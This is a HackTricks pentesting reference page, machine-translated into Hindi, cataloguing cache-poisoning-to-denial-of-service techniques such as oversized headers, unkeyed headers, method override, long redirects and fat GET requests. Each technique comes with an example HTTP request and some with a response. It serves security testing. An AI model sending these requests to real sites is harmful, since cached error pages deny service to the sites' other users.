Cache Poisoning to DoS

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

इस पेज में आपको विभिन्न वेरिएशन मिलेंगे जिन्हें प्रयास करने के लिए वेब सर्वर को त्रुटियों के साथ प्रतिक्रिया देने की कोशिश करने के लिए जो कैश सर्वर के लिए वैध हों

  • HTTP हेडर ओवरसाइज़ (HHO)

एक अनुरोध भेजें जिसमें हेडर का आकार वेब सर्वर द्वारा समर्थित आकार से अधिक हो लेकिन कैश सर्वर द्वारा समर्थित आकार से कम हो। वेब सर्वर एक 400 प्रतिक्रिया के साथ प्रतिसाद देगा जो कैश हो सकता है:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP मेटा चरित्र (HMC) और अप्रत्याशित मान

कुछ हानिकारक मेटा चरित्र जैसे और शामिल करने वाला एक हेडर भेजें। हमला काम करने के लिए पहले कैश को छलना होगा।

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

एक खराबी से युक्त हेडर केवल \: हो सकता है।

यह काम कर सकता है अगर अप्रत्याशित मान भेजे जाते हैं, जैसे एक अप्रत्याशित Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • अनकी हेडर

कुछ वेबसाइट्स त्रुटि स्थिति को वापस भेजेंगी अगर उन्हें अनुरोध में कुछ विशिष्ट हेडर्स दिखाई देते हैं जैसे X-Amz-Website-Location-Redirect: someThing हेडर:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

यदि सर्वर X-HTTP-Method-Override, X-HTTP-Method या X-Method-Override जैसे हेडर के साथ HTTP मेथड को बदलने का समर्थन करता है। तो एक वैध पृष्ठ का अनुरोध करना संभव है जिसमें मेथड बदल जाता है ताकि सर्वर इसे समर्थन न करे और एक बुरा प्रतिक्रिया कैश हो जाता है:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • अनकी पोर्ट

यदि होस्ट हेडर में पोर्ट को प्रतिबिंबित किया जाता है और कैश कुंजी में शामिल नहीं किया गया है, तो इसे एक अप्रयुक्त पोर्ट पर पुनर्निर्देशित किया जा सकता है:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • लंबी रीडायरेक्ट डीओएस

जैसे निम्नलिखित उदाहरण में, x को कैश नहीं किया जा रहा है, इसलिए हमलावर रीडायरेक्ट प्रतिक्रिया के व्यवहार का दुरुपयोग कर सकता है ताकि रीडायरेक्ट एक इतनी बड़ी URL भेजे जो एक त्रुटि वापस भेजे। फिर, x कुंजी के बिना URL तक पहुंचने का प्रयास करने वाले लोग त्रुटि प्रतिक्रिया प्राप्त करेंगे:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • होस्ट हेडर केस समानीकरण

होस्ट हेडर को केस संवेदनशील होना चाहिए लेकिन कुछ वेबसाइटें इसे लोअरकेस मानती हैं और यदि ऐसा नहीं है तो त्रुटि देती हैं:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • पथ सामान्यीकरण

कुछ पेज त्रुटि कोड भेजेंगे जो पथ में डेटा URLencode करेगा, हालांकि, कैश सर्वर पथ को URLdecode करेगा और URLdecoded पथ के लिए प्रतिक्रिया संग्रहित करेगा:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • मोटा गेट

कुछ कैश सर्वर, जैसे कि Cloudflare, या वेब सर्वर, GET अनुरोधों को रोकते हैं जिनमें बॉडी होती है, इसलिए इसे अपमानित किया जा सकता है ताकि एक अमान्य प्रतिक्रिया को कैश किया जा सके:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated